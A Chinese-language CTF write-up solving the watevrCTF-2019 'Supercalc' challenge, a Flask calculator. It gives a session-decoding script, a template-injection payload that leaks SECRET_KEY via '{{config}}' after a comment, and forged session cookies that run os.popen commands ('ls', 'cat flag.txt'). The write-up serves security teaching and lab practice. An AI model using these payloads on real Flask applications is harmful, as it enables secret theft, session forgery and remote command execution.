BUUCTF [watevrCTF-2019] Supercalc
考点:
- session伪造
- 通过session拼接语句
{{config}}
获取SECRET_KEY
的值
启动环境:
是一个类似计算机的功能,又一个输入框,尝试输入1+1
:
得到计算结果,开始想到的是SQL注入,简单测试了几个payload,都没太有反应,继续对题目进行信息收集
在HTTP请求中,查看到Cookie信息:
可以获取到session
:
session=eyJoaXN0b3J5IjpbeyJjb2RlIjoiMSArIDEifV19.X98yeg.YggVMibcD6Bh8ZqORv4BMRBfNS0
看结构与开头,猜测为Flask的框架,猜测为模版注入
首先使用Python3脚本进行解密:
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
python3 main.py session
得到解密后的结果:
其解密后的值为之前提交的算式,猜测code
中的式子可被执行
使用tplmap检测,但没检测出注入点:
尝试手工注入:{{7*7}}
:
提示应该是不能使用{}
,继续尝试让程序报错
在输入1/0
时,得到报错:
说明程序对报错应该没有做过滤,尝试输入#(注释)
:1/0#1+1
:
得到报错,式子被成功拼接,在#
注释后加上模版语法:
1/0#{{7*7}}
可以看到模版语法中的式子被成功计算,看看是否能爆出SECRET_KEY
的值,查看config
:
1/0#{{config}}
得到了SECRET_KEY
的值为cded826a1e89925035cc05f0907855f7
,满足了加密session的条件
构造本题所需的session
:
{'history': [{'code': '__import__(/"os/").popen(/"ls/").read()'}]}
执行ls
命令,查看当前目录下的文件信息,使用flask-session-cookie加密脚本Github地址:
python3 flask_session_cookie_manager3.py encode -s "cded826a1e89925035cc05f0907855f7" -t "{'history': [{'code': '__import__(\"os\").popen(\"ls\").read()'}]}"
注
:需要将其中的"
双引号进行转译
得到加密后的session
:
eyJoaXN0b3J5IjpbeyJjb2RlIjoiX19pbXBvcnRfXyhcIm9zXCIpLnBvcGVuKFwibHNcIikucmVhZCgpIn1dfQ.X985cg.ycUIrV_mBlC4eRSuNplU9bUWB88
在F12中的Application修改session
的值,刷新后的得到回显:
查看到其中有flag.txt
,构造最终payload:
{'history': [{'code': '__import__("os").popen("cat flag.txt").read()'}]}
使用使用flask-session-cookie加密脚本:
python3 flask_session_cookie_manager3.py encode -s "cded826a1e89925035cc05f0907855f7" -t "{'history': [{'code': '__import__(\"os\").popen(\"cat flag.txt\").read()'}]}"
成功伪造session
:
eyJoaXN0b3J5IjpbeyJjb2RlIjoiX19pbXBvcnRfXyhcIm9zXCIpLnBvcGVuKFwiY2F0IGZsYWcudHh0XCIpLnJlYWQoKSJ9XX0.X987CQ.gwAnc220B3nh99IVo6gGrJ0StV0
与上一步相同的方法,填入session
后刷新页面,得到flag: